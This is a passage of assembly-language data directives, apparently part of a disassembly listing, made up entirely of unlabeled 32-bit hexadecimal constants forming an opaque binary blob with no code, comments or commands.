0D0FBF572h, 2700CAD3h dd 486BAE8Ah, 0B29373h, 5F8C8B66h, 2A6DE39Dh, 0F05CB400h dd 0DFF6AB4Ch, 0C4FC5085h, 432E0008h, 0A419057Bh, 0F8001574h dd 4CB4F430h, 0C5DC36h, 516EADFEh, 14B36476h, 0FC654000h dd 0D5183D79h, 0EDF0001Bh, 4F240A45h, 9B48DE47h, 43B20068h dd 0CF5663B5h, 9D48001Eh, 0D4F03E46h, 0FF0059A0h, 51F956Eh dd 0A242B0h, 14C4E7F7h, 7D0E2ED0h, 8D52BF07h, 0B4AE6B88h dd 0D6D00A0h, 55A936F3h, 0C4A51F7Ah, 400A5EE7h, 0A68342BCh dd 0F7003244h, 3CDF638Fh, 2F5B8Dh, 0B10769ADh, 7E7960DEh dd 29A45401h, 5A412495h, 5B56034h, 49A52757h, 0AF8700CBh dd 0A43F81F7h, 4A553B0Eh, 972A27E8h, 0DA5D5360h, 5B8602A1h dd 3D493C0Ch, 0F34D6460h, 3E11A540h, 0F83C89BEh, 0C1247824h dd 0CD8D559Bh, 3D2074CFh, 0D55FA400h, 518A185h, 1EB0079h dd 9AC3171Ch, 8C7A9D1Ah, 2562B101h, 3706D0A3h, 70728442h dd 0E629B0B0h, 2CB215h, 0AE26B8BDh, 7CD3330h, 90701309h dd 0D1D40056h, 0EA69256Eh, 79DA3035h, 59BA0E41h, 48DEA417h dd 0B4037312h, 0E876C8FFh, 7DF618E7h, 0D6E9015Dh, 5333B7D2h dd 990AE0A0h, 8F7E3Fh, 0DF1A4362h, 0ED75C2h, 0BAEFE46Eh dd 0CAEE84B0h, 47AA3D1Dh, 0E0089F00h, 2CCDEF1h, 0A34625C6h dd 5060302Fh, 2418FC9Ch, 0D5E87842h, 0B064657Dh, 7E80FB72h dd 87F59Dh, 8BF481Fh, 5F9510D2h, 0FD6BAA00h, 7041B552h dd 56000ABh, 2244BDEAh, 0FC494002h, 87753818h, 5EF14F9Ah dd 406CBCC2h, 9E2154h, 0CE9B5C83h, 7E0EDBCCh, 24F7FB01h dd 0D50C3365h, 46E88340h, 39711C97h, 0FD22405Ch, 4F72E96Bh dd 0BD0B1890h, 17ED9Fh, 1C8C278h, 20400384h, 0C3AC7D55h dd 2A01690h, 3544061Fh, 5C9CC680h, 4D1F2B0Ch, 16110C3Ch dd 9692256Fh, 0C8020084h, 0C7DD9FCBh, 65008F20h, 0D26A59E6h dd 0C691C0h, 4BD3491Eh, 0CCB6FB28h, 0D52D3504h, 0AE004DDEh dd 10595E3h, 33884B00h, 18D6EF92h, 9FFA0078h, 50934ACAh dd 0F548C84Dh, 0E962005Ch, 8525EED9h, 15A5A069h, 4EAE1DBAh dd 83F08AF9h, 5EC59370h, 0CAC5Ch, 159C3E80h, 0AA48D2F4h dd 41B1003Ah, 0EEE493BEh dd 9E1800BAh, 0AE538824h, 0C2B8701Bh, 0EA8D7900h, 13D76848h dd 0B6030BA2h, 2F00F264h, 18214C07h, 9F38D23Fh, 4182E831h dd 0C0019EAFh, 0BF8BFE7h, 0E1149C7Eh, 6AC62A83h, 5A4EA4E8h dd 35E58200h, 59D96BB6h, 4280E9BAh, 49954A94h, 0D2B0C0EEh dd 0FA0D6C00h, 0FD0840DFh, 0CC750001h, 651BFFABh, 90C01CEFh dd 0E2390EF8h, 0B2050011h, 8BB61DB9h, 613B9790h, 0D84F8016h dd 0C60DAD84h, 0CAB91E41h, 0D48500C1h, 0F5DC2A43h, 0EC021D07h dd 1B40E55Ch, 77D6EDC6h, 0F3710575h, 0F786B6Fh, 824024D4h dd 0CDB0D1B4h, 47D60613h, 546A9881h, 0E0D624EDh, 7C91D22Bh dd 7492000Bh, 51F61EEBh, 0EA3F606Eh, 0E9E892CCh, 771276ECh dd 4A2007C3h, 0E71E285h, 80BCFC8Fh, 0F63695FDh, 4C07CC65h dd 614429C2h, 57B7B340h, 908AFF5Fh, 0CF321F0h, 0FE10949Ah dd 85A44200h, 6CE2A4Dh, 0A15F650Ch, 0D8F8CD24h, 415D20B0h dd 13170F1Ch, 69BE8703h, 8796D610h, 114A0181h, 0C9E815FFh dd 78F6A6E9h, 7A00542Ah, 5F9D4981h, 2049E78h, 851D4BBCh dd 0D2C0D052h, 0CE006CFBh, 43235977h, 604668FEh, 0D7CCE80Fh dd 6404E2F8h, 0CE8F617Ch, 18A59C80h, 305E75A3h, 0BC896C2h dd 0B00085FBh, 6D352C89h, 8ADD7h, 0F1827315h, 0C03C99CFh dd 0AF963400h, 0D7FEB042h, 8CE45D19h, 0B7A4FC00h, 432C582Fh dd 0C0A1403h, 90778FC9h, 0E27F659h, 9570E960h, 2C331720h dd 0A3007E24h, 22F1A197h, 1463EE2Ah, 0AD777946h, 0A44CBE00h dd 0ADCD65B1h, 846D0C16h, 19122800h, 0E5D422ECh, 0F061C9F9h dd 0D73FC8h, 2F31A6B2h, 0C542758Bh, 0BAFC3004h, 0D080471Bh dd 3FF879E5h, 75E0A8h, 0B65C98AAh, 597146D3h, 4096FC03h dd 90C0D028h, 48769205h, 5D0A6483h, 1E90B9CCh, 1F8A79CBh dd 8F4383Dh, 46BF7641h, 0DB32097Ch, 0D4805CD5h, 38B6E49Eh dd 0ABF465F0h, 0E6FFEC00h, 57C27D34h, 9B2B0008h, 85627647h dd 80E754E9h, 0D83FFDDAh, 967314h, 7CDCB5ABh, 27824ADDh dd 0DEE0FCB8h, 77B8BB0Ah, 4F00AD87h, 0AC39BD0Fh, 4A981F3Fh dd 1CD3963Ch, 1A3E40F5h, 0DAF4BA29h, 0CC38E07h, 456072E5h dd 149F9EFDh, 0E11359A5h, 1C00BC59h, 0A3F10EAEh, 8B00DD2Ch dd 11B7677Fh, 88FC57h, 0CE6227C1h, 0B147CA2Fh, 0E000425Ah dd 5C6C08B2h, 0DE39001Ch, 4CE48F93h, 300DFFFh, 0D9512015h dd 614208h, 0F19E3148h, 0FD40F65Fh, 8DE31A00h, 3FC00EAAh dd 0D55400DFh, 77E5AD89h, 2CE8B4EBh, 6F3DA300h, 0B8F06B99h dd 79BC00CBh, 57E33149h, 261717FDh, 4006A6Eh, 0DCEE5F2Dh dd 547F00A1h, 0A7743E9Ch, 0BD00B903h, 97FEB87Dh, 79FEA13h dd 8E84309Dh, 0A4EA0Ch, 50F6FDFAh, 0C300EBD5h, 45AC9367h dd 51C73Ah, 0CB11C43Fh, 1BA70C37h, 2BB17100h, 0B665B284h dd 6CE309F3h, 0F780802Dh, 3A767E98h, 0F452530Fh, 16835DDEh dd 0F8DD30FCh, 249048h, 3ECAD707h, 153C47B2h, 4B96DB00h dd 72890646h, 0B02B24B5h, 471E007Dh, 1DF07DF3h, 4E6CD700h dd 0BED27391h, 448E3E45h, 0C91C5700h, 0A5CF9CB3h, 4C00E298h dd 0D14B5034h, 71A0AF09h, 82470041h, 6AD88CD0h, 3C00D77Ah dd 4A67F22Eh, 0C193697Dh, 0EB377EC8h, 62F5FC3Eh, 4D7DF070h dd 0C03358h, 77489FA5h, 5865100Eh, 70C0E8CAh, 3D2AF6Ch dd 821DDE00h, 0B9884E35h, 0F47F014Ah, 5FB8A2DDh, 0A080DA40h dd 373E256Fh, 0C145B70Eh, 0E075E997h, 733510h, 4BD2B081h dd 0FBE8C9D3h, 3637CDECh, 0F38620DCh, 6516B010h, 80E310F7h dd 0A6C8DEF4h, 3450AC09h, 77805D70h, 404DC732h, 0C158CC61h dd 0D34711D2h, 28D0B145h, 0B4ABD0C7h, 61003C24h, 2E7671B0h dd 830097ACh, 0B3B6C7D3h, 35238F2h, 0B02D3912h, 309EA8C6h dd 9030F81Fh, 79B169D2h, 186FD8h, 63B09B50h, 0BA26A478h dd 0AA000F76h, 0F2EE446Dh, 95A797h, 0E73F0424h, 0A88417DFh dd 0BB5C3Fh, 99908FA1h, 0A287BCh, 0D3F81B45h, 0E8B9D7F5h dd 53FD2100h, 0E97D8670h, 42DB0EB3h, 2A80D5A7h, 3BF9A99Dh dd 3435E41Eh, 997F4E80h, 8BDA90h, 0CB628EDh, 1C81B123h dd 0D4F83Dh, 98CAD031h, 9A391Dh, 48155AEEh, 899B1353h dd 0E57FCE05h, 9444B68Eh, 2C80EDE8h, 671728h, 5B04B7CCh dd 0D38E9CBBh, 76DB8200h, 0CD3D8626h, 209A3Eh, 0B121CAF9h dd 8A124DB5h, 0BC17E005h, 0A4D0BF6Ah, 6370A46h, 0D8B6C6E4h dd 0E302682Ch, 0B1E5615Dh, 3538484Eh, 31E9609Eh, 69CE430Ch dd 8C62DC00h, 0D304D0CFh, 8F953B83h, 4A782580h, 0C739D8BAh dd 0E8A11518h, 0D68E39h, 572EC8E5h, 0C5D50767h, 0EE839A02h dd 48F6CE75h, 0E2C6843Ch, 9F6A00ECh, 3C0AA1BBh, 0E707CBB5h dd 2CAA909Dh, 8840B435h, 7F7EDCE0h, 113201DBh, 800D504Dh dd 940870CFh, 0F7BD6300h, 0AC25A430h, 613A1EE3h, 0EE594766h dd 50FA32B5h, 2508C160h, 8F87C01Dh, 63FC7400h, 24F721B0h dd 6CA751h, 9E55E4FEh, 0B600144Eh, 623F0BA0h, 0C3B88F12h dd 0F6F3F589h, 0C48C190h, 0E80087F8h, 0FFB34383h, 1C253247h dd 7BE2173h, 80A1CA54h, 0A37DC79Bh, 0FFC9A3Fh, 404C971Dh dd 21FDDF29h, 0D38500A5h, 40C8156Dh, 0F1F826E3h, 6A9CD601h dd 0E4915DA8h, 0E7F01881h, 0F09B46DEh, 9C008B45h, 0F843C04Ch dd 0C6D1160Ah, 38C9B220h, 20454131h, 60D6869Ah, 18A8E336h dd 20D0F25Ah, 0CC0C2273h, 2844FC89h, 3FDBEC21h, 31F0A6BAh dd 0C309C06Fh, 81208020h, 0FB12DB91h, 0BA350016h, 57255AFCh dd 50C3D40Eh, 18D533Eh, 0D32CEDC1h, 8C3D4955h, 2051C378h dd 24B140F5h, 2E461200h, 0E6961E5h, 0F4B61CCFh, 0CC680B3h dd 0C3E4F267h, 947A9200h, 68DD08A5h, 0C1783F38h, 50B0B280h dd 664CDEEFh, 0E3F98403h, 983C7E47h, 70F29Ah, 8524A307h dd 39CE269Eh, 5398EF03h, 90047837h, 0DF801Bh, 5F34EC3Dh dd 5215D27h, 44833E13h, 0D0680900h, 3B4841h, 0FCADBE97h dd 662123E9h, 86A31301h, 0CB08751Dh, 81DC1CC1h, 9C4100E4h dd 0A3171AAAh, 0FF0052ADh, 0A5F945A6h, 165C4DAh, 955597E3h dd 0FCC90F5Fh, 82FAA283h, 817D190Bh, 0C8CB0CACh, 5D04A543h dd 8E5579C0h, 69450026h, 0FB4F1B8h, 6E1952D9h, 0EC282962h dd 0CE40F4h, 0A08EE085h, 9AABF95Eh, 6E39ECFBh, 0D23C4D10h dd 2154B811h, 5FDD08B2h, 7843190h, 41A6480Bh, 1416D51h dd 84113D05h, 104A1201h, 9895304h, 28A11A08h, 447C085Eh dd 3CA07D68h, 82894824h, 6A440A08h, 5D2284A1h, 876423Eh dd 143F9437h, 7F112875h, 3F1A2234h, 8300D813h, 245F45FBh dd 31003686h, 0E5A9E3C4h, 5916633h, 297455F6h, 0F7C0BB93h dd 0E2DE6344h, 0BC35509Eh, 4707002Bh, 15EF9FBBh, 0A0000351h dd 27EEBA3h, 0C30140h, 0D8FCDB11h, 433BDC8Dh, 0E60044E2h dd 8CDF2C27h, 884BA7h, 0B422EE09h, 89194945h, 31D43402h dd 0C0654FB3h, 2D35462h, 4E59B1A4h, 8488727h, 9400F606h dd 939D4686h, 1B29EA7h, 4CB67892h, 83A90AACh, 0BA73D540h dd 0D9BC988Fh, 105900D4h, 0FA564A1Fh, 0B0F3F60h, 80F9C6A8h dd 12C5C2A5h, 0E91F0180h, 6FCC9CB4h, 202C21F8h, 0F60C9DD2h dd 58AD7E3Eh, 0E28BEC15h, 3CEC30C0h, 0E9F91C50h, 7C554428h dd 80C2FE29h, 0DD1A0Fh, 0F4A8209Eh, 9F5600E1h, 5E50B89Ch dd 0CB00C929h, 7C7EA046h, 60185DF2h, 1A54D0BAh, 0F86051FBh dd 8D2D8EA0h, 0DA4B0CEBh dd 6988B843h, 7300D0ECh, 0EDACBAF8h, 322795h, 896AA040h dd 39BB0F29h, 0EC8A4E02h, 0E0DF4BADh, 98EA76h, 0C7933166h dd 2590B568h, 0A9008E7Dh, 0A13E99Fh, 385BE7ABh, 0CA07708Bh dd 0F06E0FBBh, 9843F667h, 0BAC19000h, 0B3B4507h, 0A4AE3DF7h dd 9A806500h, 0FF09576Bh, 0CBF47900h, 7FFA3482h, 366E2A3h dd 3B107B93h, 31F05AE8h, 910018D9h, 0EC78E7FCh, 1ED7AD4Fh dd 0C0FE6A40h, 24B55561h, 8D003B2Ah, 0DB3E0C1Eh, 2848F1F0h dd 0DF7622h, 4D9F5843h, 3E1668B0h, 132CD000h, 0EC8CCDAh dd 0F65501F5h, 0AA401FEEh, 0D926C857h, 154885E0h, 50383A1Ah dd 0EF3FCCACh, 0EEE51447h, 2A0902FCh, 484DF70Fh, 1429FA0Ch dd 0F44290DDh, 0CDFD8007h, 8362E4E5h, 43E8D744h, 413C15FCh dd 45F58006h, 1ABEAA6Ah, 5F7603E5h, 637927A4h, 428023A0h dd 3FCC3700h, 0ADE3B386h, 0FE481DA3h, 0F611C15Fh, 0FC46825Eh dd 6200E1ECh, 561D7B7Ah, 65DD994h, 33F44E4Ch, 9F0BD04Dh dd 0DCDE126Eh, 24C01CF5h, 68761870h, 8C004A73h, 866BEBB2h dd 0A10B60h, 4384698h, 5649ACB0h, 81B46339h, 9B34AA61h dd 38F09FE3h, 4222C064h, 76822EF6h, 4F0FA776h, 406AA323h dd 0CD14E034h, 73F90083h, 0DF622F38h, 1898C0A5h, 9F119600h dd 13A00843h, 56F103ABh, 76C95334h, 2B014998h, 0BD3E5500h dd 4EB2947Dh, 7006988Bh, 360F031Bh, 0A39FE0B1h, 40239ED8h dd 2AC2FB00h, 39CADE5Bh, 65E10046h, 0B57FE3A4h, 0D200A207h dd 0ADF3226Bh, 129960h, 7196819Ch, 54E92BE3h, 8975263Bh dd 37B309Bh, 990D2EB8h, 1C34F599h, 37F103DDh, 551FDC3Eh dd 0A47728D8h, 0D519B824h, 6C49E81Eh, 7C400C5h, 75F293h dd 0A024A1DEh, 98377D1Ah, 0A5438601h, 0C66A10ECh, 13AEA070h dd 4009829Ch, 77CEBC1Ch, 6600279Eh, 34D9D150h, 0FE2C6A97h dd 0F9680799h, 10BBE972h, 4E15B93Bh, 0CF013890h, 4BE6C419h dd 0DC41A045h, 0C5FD2599h, 3EBAD1F0h, 48C5DABh, 8180F554h dd 3A2CF477h, 5B81947Fh, 0B6C4B763h, 0B164F440h, 40695420h dd 404A4126h, 4F0A1C14h, 0C1036C90h, 6840E98Bh, 88C686h dd 0BEA60682h, 9CAF19DFh, 0C85F8C2Ch, 501DD483h, 34702869h dd 752AFCA8h, 0CDAE00F4h, 734FF674h, 650088F1h, 0C09EABE2h dd 5D12EEh, 0F6247AEBh, 526DBF13h, 818E4638h, 4A372C6h dd 0D8FCD547h, 0F2D100FAh, 756935A0h, 0FF00F1C0h, 0BDE7D2A7h dd 7A261F9h, 634C6ED1h, 8122B0A0h, 6B00C6ABh, 0E2323D18h dd 0D6BDF0h, 0D408DAFEh, 3F62F47Fh, 0F6E2C00h, 58F650A8h dd 7D0A3EECh, 0CF005BC8h, 0EF286D29h, 61003F40h, 0EDDBA446h dd 18C86F1h, 1DB9813Ch, 0EC93CF3Ah, 97005F9Dh, 1B2A371Ch dd 80EFA5h, 0B39F12CEh, 69430896h, 3DDD748h, 2DC8C0BEh dd 49D5908Ch, 0F44F0265h, 0C3A0E6FDh, 5452F440h, 0E8005A7Ah dd 0AA32E42Eh, 46F23D7h, 8E7AFB4Eh, 208CC762h, 0CFD2F79Fh dd 7491A207h, 57108456h, 0C39BCBh, 5B9C4B44h, 6BBF40AFh dd 9034607h, 0C1181EAh, 1FD44835h, 0FDF0073h, 0C6844453h dd 6B00C558h, 64D0A9F6h, 1DCB1A8h, 56996659h, 6176AB01h dd 7F852005h, 0AAF37900h, 0B0CF6F88h, 3C5E0B2Bh, 3800AB56h dd 0FB97D428h, 7C2A400h, 5E1411FCh, 50320042h, 94278CD6h dd 0BC0097CFh, 92B62B15h, 7621CDB4h, 5C0F0B05h, 0E8000256h dd 49B16CD0h, 3AFE7A90h, 0FB5AAD01h, 813D9AA8h, 0AF1BCCh dd 442F09E0h, 8BB19B99h, 8E2B6C00h, 0A37EE820h, 4CD10F84h dd 26E3FF74h, 2CE270F6h, 0F7D8FC40h, 7F347307h, 1E5DAFh dd 0FDB73A1Eh, 8A5E0078h, 7B547758h, 0C6016287h, 9EEAFACEh dd 36E047A7h, 3C8F00D6h, 0AD762EA1h, 0C0505284h, 6574BFDFh dd 72A57800h, 6A1C40Ch, 0F64F00B1h, 0EB5903F4h, 330094E2h dd 0B01E7D5Ch, 7BE039h, 0DFF03271h, 0C082E5C5h, 8A5F8800h dd 7444AB7Dh, 6F4900EFh, 11D7BB68h, 10005C59h, 36DE9352h dd 0B8E413BDh, 7DD80136h, 0C1450D03h, 21C3019h, 0DFD0F8A1h dd 251DAEA0h, 469C6400h, 3D4532A3h, 7EE63BDDh, 62184C0Fh dd 0B46149E0h, 0C500999Bh, 0FB15D7D6h, 0CA797h, 0D87B7073h dd 5882375Dh, 0E6192A60h, 0F03E67h, 0F8786987h, 0F6B68D53h dd 0AAE9CF04h, 33C01BB8h, 0EDC0FDBh, 0B523257Bh, 61123527h dd 0C4620ED4h, 72760BF7h, 0EB218100h, 0B3ED204Dh, 83C71CBAh dd 78BE407Bh, 0DD0BA55Bh, 9EC6BD09h, 14E40025h, 0DB1AD9h dd 7932D2CCh, 9AB4585h, 6470E100h, 2AFE1D21h, 0A87300EBh dd 4AD891BFh, 0DB07F43Ch, 446D3888h, 400D6172h, 0F2A90434h dd 2D8F0EDEh, 0A7008EDDh, 7A7B5BD7h, 0E4EE3D0Fh, 2B9DA0E6h dd 98075608h, 9AC8006Eh, 0F9B5D418h, 8D005A47h, 0A6B377CDh dd 4867DB0Dh, 2B0034E9h, 0E43F89A4h, 0DA1F3E3Ah, 0D1C01C57h dd 105BC21Ah, 60E258F5h, 0D3FA2500h, 322C29A0h, 0EF694F00h dd 3ACB6661h, 3C470455h, 0C037A5DCh, 0C9069C64h, 0BED9820Fh dd 0F410A30Fh, 0F9C80F28h, 26BE7B80h, 0DB12C8h, 5703DA2Dh dd 7400049Fh, 2DCDF035h, 0B85F1465h, 0B13700ADh, 0A855AA3Fh dd 8AECD804h, 733DC4E0h, 57DD00E1h, 8DF117ABh, 5EA20701h dd 0F04AAE1Bh, 0FE5E169h, 0DBB5ED00h, 0BDC1EE84h, 0D22B39ABh dd 4456BF80h, 0B0BAE5F0h, 27FF870Eh, 0F93B80ADh, 2774805h dd 0FA043F81h, 0FC6025DAh, 4E03A85Ah, 1D88C3FEh, 0D480B739h dd 0EE7AE34h, 0CE272254h, 3FBBC700h, 753FE370h, 0ACB986Ch dd 48A4F8h, 0CD2F7F0Dh, 0C6A12E7Eh, 91FC770Ah, 0EA9FE819h dd 0E7FD3840h, 0FA15A7F6h, 22370768h, 0B01A55F4h, 196D2D79h dd 0D04FD202h, 804E883Bh, 0CD048BE0h, 64232416h, 5E36005Fh dd 15AF95D3h, 48747275h, 2F9BB600h, 0ED1EBDBh, 0F41A0491h dd 0C0E9C8D7h, 0A794518h, 1DA8B603h, 88597C78h, 0C69285Eh dd 910C9E6Bh, 9A00FC68h, 3568EADCh, 0B8F66316h, 0AFD200A0h dd 748CB176h, 2098BA50h, 4AE3D5A0h, 0FFA84D00h, 0A984E553h dd 0C33B048Fh, 0C0E4651Ch, 0B9D1C2CCh, 0AB38200h, 0EEC720AEh dd 39B8F245h, 0C5804483h, 6E2D6810h, 26041427h, 0E7DF911h dd 388758B0h, 807F529h, 0D0AD12BDh, 41533CBAh, 0AA614400h dd 5558C01Fh, 6821000Fh, 0B69A3825h, 2400F052h, 0FF19E0C8h dd 3D82C694h, 490E6328h, 0CD405398h, 0B1ED2E4Ah, 5CA2DF00h dd 72B06641h, 84825862h, 9826DB00h, 30EB90Ah, 0E610BD00h dd 208CE432h, 2C2A00E5h, 7B77A8FCh, 2200F9AEh, 0BF6DB0FAh dd 14FBE19h, 0B8DF2843h, 0D86E5048h, 0EB7CE593h, 818F893Ch dd 660E3B11h, 19BCAEC0h, 882D9Ch, 1ECD0BEh, 0A90E1A7Dh dd 0E0FF685Eh, 8725AB09h, 0A08200C7h, 7ED905A3h, 640034A9h dd 78AC995Bh, 5C5DE5B5h, 6300616Ah, 9D5FDFF9h, 3D00F6CAh dd 7327CEA9h, 0A0448F8Eh, 3804A69Ch, 67AECC3Ch, 7B968018h dd 0CD72301Ah, 4AC17D00h, 0BA8B177Ch, 60500003h, 147F732Fh dd 0A316E879h, 1C413DC7h, 2BCC28ABh, 9C008361h, 4A1C93EFh dd 18782061h, 0AA1E6BA2h, 0B9807068h, 4CB5BFD8h, 4DEE2C38h dd 41110520h, 88B4C5B1h, 6A11BAE0h, 17670F8h, 3D929BA4h dd 285ADAC5h, 0BDD400B4h, 0C276167Bh, 59F0B4h, 0C312C6C0h dd 0A7A20382h, 2486201Ch, 7CC7F89h, 0AE442BD6h, 406B648Ch dd 300C504h, 0B245D42Fh, 72FF2EF0h, 67660FDFh, 7FE019BCh dd 18E5A5EAh, 570386E4h dd 3089F57Eh, 0A651EF5Bh, 0B0C54AB4h, 0E2C34C70h, 0A8E0045h dd 0D68AB227h, 0DA72935Dh, 1D08D500h, 0B886DC10h, 2EB834h dd 6D76533Ah, 46A5F00Dh, 0B241EB00h, 1DE7BF82h, 289890B7h dd 3846378h, 0DA97409Bh, 0BBF82C85h, 7476A7F5h, 4790AC07h dd 9F20D71Ah, 0A2FB20h, 2AF0DBE1h, 54940B2h, 4356470Eh dd 180733D6h, 7C6098E3h, 4CA4EED9h, 9700CBA3h, 0F569C15Ah dd 44C1EE1h, 48073FD4h, 0DA990051h, 749A0BBFh, 78A500C1h dd 8CA1213Ah, 0F490900Fh, 0BF43A405h, 0DCC08B04h, 3D1A506h dd 27382FF9h, 2BC8F53Eh, 41EA7DDh, 0CA8E728Eh, 30B1817Dh dd 4ED8D22Eh, 0B27C0023h, 0D38EBA6Fh, 490FCACh, 2194900h dd 59EED541h, 69F04E1h, 8785EDEAh, 26764114h, 0F53BF050h dd 3228E300h, 7A9C89AFh, 74220964h, 78003F57h, 0E4B49A7Eh dd 241F0BFCh, 97801934h, 799C86B2h, 0D5FA0014h, 0DA0230F2h dd 1707C71Bh, 6BB8CC4Dh, 41225FA0h, 16D50314h, 0E4B0C377h dd 0C70289h, 8D241B37h, 0DDA18585h, 0D803A856h, 90C6D77Bh dd 24CD47Ch, 51593425h, 1AFC4E49h, 206A040Bh, 4D691AA0h dd 4FE101D6h, 1F5B9C3Fh, 38E8FDCDh, 7DB604ECh, 0D4A053A1h dd 352F588Dh, 0F65C2B0Fh, 993924E2h, 7BABE460h, 0AC3A49h dd 7F32C8C1h, 94A810AFh, 86DD1CE8h, 0D0BF836Bh, 3F338600h dd 0A7887B3h, 107A95h, 0EC799BCBh, 17FD664Fh, 7005398h dd 0A0DF6413h, 4C1438BCh, 8000445Dh, 6505CAE6h, 0BB00E9AAh dd 0A557E73Ch, 1A7208Dh, 5255CEA8h, 83F53384h, 603FCA90h dd 0CFB4B878h, 0D9C50289h, 1B5356C1h, 9F39E868h, 7565B31Dh dd 0E6C50340h, 38F3B7h, 8CE6C67h, 8242F151h, 1086601Dh dd 0C8BD83CCh, 0F887003Bh, 0D8092CD0h, 83E5257h, 0E49B8146h dd 99E71C4Ch, 87A0AFE3h, 5196990h, 1DF07694h, 0ADB4C111h dd 0FCD6712Dh, 0DCB8CC81h, 59290A00h, 4B0CE9C2h, 23630056h dd 0C0AF1540h, 78003394h, 0A5432DD2h, 7C1AC0Ch, 65E426CCh dd 40F8036h, 6A051224h, 60F5AFCAh, 68E3C800h, 3AC37EE1h dd 0E409E2DFh, 84C44436h, 0A100AD7Bh, 4E35ABA7h, 717FF4h dd 0EF19929Ah, 8C4FEAB7h, 3E2BFF00h, 9B76527Ch, 7D4D001Ch dd 9D97E323h, 321298ACh, 0CE00B670h, 0B003DB6Bh, 2065480Fh dd 94A4235Ah, 63DA5D0h, 0A8F5A200h, 367F6FF8h, 0F3260161h dd 55435AE3h, 88E4603Ah, 8E4DAD00h, 0DB1E6A01h, 0AB97021Dh dd 0C1893FAFh, 0FBA30560h, 4F33EE00h, 0C2B156D1h, 5D1B00B6h dd 8BC06F05h, 3114C3C6h, 14A61AAAh, 1DD86BE8h, 858748D9h dd 0CFC08EA8h, 0A626A4h, 62F5AB27h, 0E4FD8A81h, 0F3F9E8F3h dd 112E54B8h, 170E22E2h, 7E6BC09Bh, 0A5C1DADh, 0BFDD8684h dd 0DCDF0090h, 4A47A9A0h, 2220C307h, 0F0A071F6h, 7ACA1BEh dd 0B7E03933h, 0AF3030D1h, 0CC074C40h, 3BEA472Ch, 0D7F01733h dd 596A6E80h, 1DD80099h, 8F289ADAh, 1200A983h, 0AE2BACDh dd 1CB39B51h, 8CA03A64h, 6CA6E73Bh, 0DD5E6B0Ah, 3C00F883h dd 2B889E04h, 0D6CC0068h, 5E5BDC9Ch, 0BD037429h, 3A1DFBB6h dd 0DB42003Eh, 524E9E77h, 1F0093E8h, 0B50FC458h, 38F44686h dd 0F08C96A5h, 0E1E8ADDBh, 90CDF202h, 0C852609Fh, 0BDBE90h dd 0D7941308h, 729D01EEh, 20C91600h, 8528E63Ch, 53310036h dd 0C506556Fh, 0A000CEAAh, 5748A3BAh, 2198DEh, 7A4BA87Fh dd 78AA3791h, 0B63C3B00h, 99431405h, 0F7040131h, 5913855Dh dd 561BE4A5h, 0CABD3Dh, 0B9C87D70h, 7452DA0Dh, 2A5F2DDCh dd 0EDC60003h, 0D23FAED8h, 0E7461600h, 98347405h, 0C4613C18h dd 26D305FDh, 0B32DEDh, 0A57732EBh, 0EB00F048h, 0D38BE330h dd 17B29Eh, 86E81A85h, 1DDE2425h, 197B0B02h, 0F006BFFEh dd 95D403A4h, 4B582B5Dh, 66F58808h, 621385h, 5EE573DCh dd 0BE00152Bh, 4DF5B653h, 9F5640h, 6F9CC8FAh, 0B8422F35h dd 0BA78FD0Ah, 7F00AF8Ch, 6B46A96h, 71740EB0h, 0F1639333h dd 22AE66D1h, 0F2372000h, 0B0FFEAECh, 0CFEE12A8h, 242705ADh dd 124180C0h, 6F008DF0h, 64D48F78h, 0C5F9535h, 111F04DBh dd 120036F0h, 19E2CA0Bh, 268A1E9Bh, 1ECCB158h, 490E0199h dd 706C7D2Dh, 7098DFE4h, 2B09C000h, 1564A993h, 0F6420092h dd 0E3686550h, 960027D4h, 0DD11FBF7h, 1BD7977h, 4B456B83h dd 7043BA88h, 2C07DE40h, 49AAF8EFh, 0EA715AC0h, 30330034h dd 2AABA3F6h, 9E07CC0Ch, 0B44A35C5h, 98B7ADF0h, 39960720h dd 80742A0Fh, 0C057D76Ah, 3B0CFD1Eh, 5F79E387h, 0CAFF0260h dd 0C1B115F2h, 3007C471h, 0D31868h, 2F6446BCh, 0AA7CE600h dd 435258FDh, 57A1008Fh, 2DF2AC93h, 3700922Ch, 0ABFE5BB0h dd 76F34733h, 68A10280h, 75E981B1h, 8C875C42h, 8F495095h dd 7400E3E4h, 0E967C085h, 0EAF693B4h, 8651D8Eh, 759482FFh dd 0D4C8F758h, 0C224AD55h, 0AC81A462h, 0C1A525C3h, 0E4787031h dd 0E6546607h, 330F3015h, 6901BA75h, 2A409635h, 3C2056A4h dd 0EEA370A9h, 6B8A8828h, 5CD18440h, 0C03B185Ch, 0CE983Bh dd 72403DBCh, 7300A6CDh, 79EC2056h, 0EBA12791h, 3F670ECh dd 0F4FCC2AFh, 87F43858h, 62D48110h, 0E899E49Bh, 0C3D3C700h dd 2786E0Eh, 89F039h, 8F5F9F43h, 0B11548A6h, 2A63F200h dd 0F42DC341h, 32090B2Fh, 9B876F4Eh, 17F05080h, 2700424Ah dd 157DB29Fh, 0C32850h, 8749FA65h, 0D246230Ah, 998E2118h dd 0FE7DE8h, 60C16A3Dh, 0B1EB5536h, 0EC861300h, 6DA02C63h dd 0F620070h, 31E7A9ABh, 2E6E1B6h, 0FFDFBF01h, 0D02EE99Fh dd 3589B06Eh, 570F6CE8h, 0E0AA4753h, 0CA791799h, 2A260EE0h dd 0E321211Ah, 2BE6B68Fh, 603CBC0Eh, 0A5E716E5h, 198500D5h dd 0F3F44F7Fh, 249036F1h, 0D6A46301h, 5F2D1022h, 0C0A1BE70h dd 0B28CADD6h, 52EB0C4h, 0EE01FE46h, 56D51248h, 0E6533060h dd 7E191FD4h, 0B87894EDh, 0D6DDE001h, 0E43BB77Ch, 9D1C5249h dd 7781FC41h, 0E3932AF2h, 1B28C4h, 0CE1EEE50h, 0DDA6A94Fh dd 0E5DE4A17h, 4C0BB800h, 0AFFF2h, 108714Eh, 0B23DA1D9h dd 95A59B00h, 5C7B19B6h, 2BB002Bh, 43FC15E4h, 2F1F463Ah dd 9CEC8172h, 0FB5400BAh, 63FF48C3h, 25DA00F9h, 520166A6h dd 802949Bh, 0C08E3C8Bh, 83C0C084h, 0E5B60181h, 2A04FCAEh dd 2D6450CFh, 2200360Dh, 55FB9751h, 0F9D57Fh, 58BA11EBh dd 0AF066328h, 5EF06200h, 9EB1A9E7h, 1F0C0020h, 4D965094h dd 430537DEh, 61F5E503h, 6407897h, 6A3117h, 5E988C8Ah dd 0E08E3738h, 0FD115660h, 53679B90h, 18400439h, 919A07FBh dd 8F8DFE79h, 0DDBEEF83h, 20501F9Ah, 0E762840Fh, 4FFC8066h dd 